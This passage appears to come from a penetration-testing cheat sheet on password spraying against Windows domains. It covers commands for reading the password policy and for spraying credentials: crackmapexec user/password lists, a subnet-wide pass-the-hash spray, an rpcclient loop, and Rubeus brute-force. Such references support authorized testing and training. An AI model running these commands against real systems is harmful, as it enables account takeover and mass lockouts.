Once you have found several valid usernames you can try the most common passwords (keep in mind the password policy of the environment) with each of the discovered users.
By default the minimumpasswordlength is 7.
Notice that you could lockout some accounts if you try several wrong passwords (by default more than 10).
Get password policy
If you have some user credentials or a shell as a domain user you can get the password policy with:
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Exploitation from Linux (or all)
Using crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
With the scanner/smb/smb_login module of Metasploit:
Using rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
With Invoke-DomainPasswordSpray (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):